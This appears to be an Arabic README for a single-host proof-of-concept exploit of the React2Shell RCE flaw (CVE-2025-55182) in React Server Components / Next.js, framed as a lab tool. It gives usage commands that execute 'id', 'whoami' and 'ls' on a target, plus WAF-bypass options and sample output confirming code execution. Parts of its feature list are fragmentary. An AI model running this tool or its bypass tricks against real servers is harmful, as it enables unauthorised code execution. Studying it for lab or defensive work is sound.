
كشف دقيق لثغرات تنفيذ التعليمات البرمجية عن بُعد في RSC/Next.js (CVE-2025-55182, CVE-2025-66478)
CVE-2025-55182 – إثبات مفهوم لاستغلال ثغرة RCE في مكونات خادم React
عميل استغلال تعليمي لمختبر Hidden Investigations React2Shell.
يحتوي هذا المستودع على أداة استغلال إثبات المفهوم (PoC) لجهاز واحد لثغرة React2Shell (CVE-2025-55182) التي تستهدف تطبيقات React Server Components / Next.js غير المهيأة بشكل صحيح.
تم تصميم الأداة لاستخدامها فقط ضد مختبر Hidden Investigations React2Shell lab الرسمي أو الأنظمة التي تمتلكها أو تديرها بشكل صريح.
هذا المشروع مقدم بشكل صارم للبحث الأمني التعليمي والدفاعي:
باستخدام هذه الأداة، فإنك توافق على اتباع جميع القوانين واللوائح المعمول بها.
whoami)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, رؤوس مخصصة)-o/--output, --all-results)requestsقم بتثبيت التبعيات عبر:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # على ويندوز: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
المساعدة الأساسية:
python3 react2shell-scanner.py -h
تتطلب الأداة عنوان URL هدف:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# أو
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
إذا قمت بتشغيلها بدون -t/--target أو -u/--url، فإنها تطبع رسالة مساعدة تحمل العلامة التجارية وتخرج.
| الخيار | الوصف | الافتراضي |
|---|---|---|
-t, --target | عنوان URL أو نطاق الهدف (مطلوب ما لم يتم استخدام --url) | لا شيء |
-u, --url | اسم مستعار لـ --target (علامة على نمط Assetnote) | لا شيء |
--path | المسار المراد اختباره (يمكن استخدامه عدة مرات، مثل /، /_next) | / |
--path-file | ملف يحتوي على المسارات المراد اختبارها (مسار واحد في كل سطر) | لا شيء |
ملاحظة: إثبات المفهوم هذا لجهاز واحد فقط. خيار
-l/--listموجود لكنه معطل عمدًا.
| الخيار | الوصف | الافتراضي |
|---|---|---|
-c, --command | الأمر المراد تنفيذه على الهدف (عند نجاح الاستغلال) | id |
--safe-check | استخدام حمولة SAFE_CHECK (بدون أمر نظام، مجرد سلسلة علامة) | off |
--windows | ضبط الإعدادات الافتراضية للأهداف التي تعمل على ويندوز (مثل استخدام whoami عندما يكون الأمر id) | off |
--waf-bypass | إضافة حقل متعدد الأجزاء كبير وغير ضروري إلى نص الطلب لتجاوز WAF | off |
--waf-bypass-size KB | حجم الحقل غير الضروري بالكيلوبايت عند استخدام --waf-bypass | 128 |
--vercel-waf-bypass | استخدام تخطيط متعدد الأجزاء بديل لتعديل سلوك WAF في Vercel (إثبات مفهوم مبسط) | off |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--timeout SECONDS | مهلة الطلب بالثواني | 15 (أو 20 إذا تم استخدام --waf-bypass وعدم تعيين مهلة) |
-k, --insecure | تعطيل التحقق من SSL (مثل curl -k) | off |
-H, --header | رأس مخصص، مثل -H "X-Forwarded-For: 127.0.0.1" (قابل للتكرار) | لا شيء |
| الخيار | الوصف | الافتراضي |
|---|---|---|
-o, --output FILE | كتابة نتائج JSON إلى FILE | لا شيء |
--all-results | عند استخدام --output، قم بتضمين النتائج غير الضعيفة أيضًا | off |
-v, --verbose | الوضع المفصل – إظهار حالة HTTP ورأس X-Action-Redirect | off |
-q, --quiet | الوضع الصامت – يطبع فقط مخرجات الأمر الطبيعية عند النجاح | off |
--no-color | تعطيل إخراج الطرفية الملون | off |
مثال الوضع الصامت (مخرجات جميلة متعددة الأسطر):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
المخرجات:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
الأعلام التالية موجودة لمحاكاة واجهة سطر الأوامر الخاصة بـ Assetnote، لكنها غير مطبقة في إثبات المفهوم هذا تجنبًا لإساءة استخدام المسح الجماعي:
| الخيار | الحالة |
|---|---|
-l, --list | غير مطبق |
--threads N | غير مطبق |
إذا استخدمت -l/--list، ستطبع الأداة تحذيرًا وتخرج، مقترحة استخدام react2shell-scanner الأصلي من Assetnote للمسح الآمن على نطاق واسع.
تشغيل ضد المختبر المحلي:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
استخدام تجاوز WAF مع حقل غير ضروري أكبر:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
مسارات متعددة على نفس المضيف:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
مسارات من ملف:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
وضع الفحص الآمن (بدون تنفيذ أوامر نظام):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
إخراج JSON للنتائج إلى ملف:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
عند استخدام -o/--output، تكتب الأداة مصفوفة من الكائنات مثل:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner الخاصة بهم.هذا المشروع مرخص بموجب رخصة MIT. راجع LICENSE للحصول على التفاصيل.
📬 تواصل معنا: [email protected]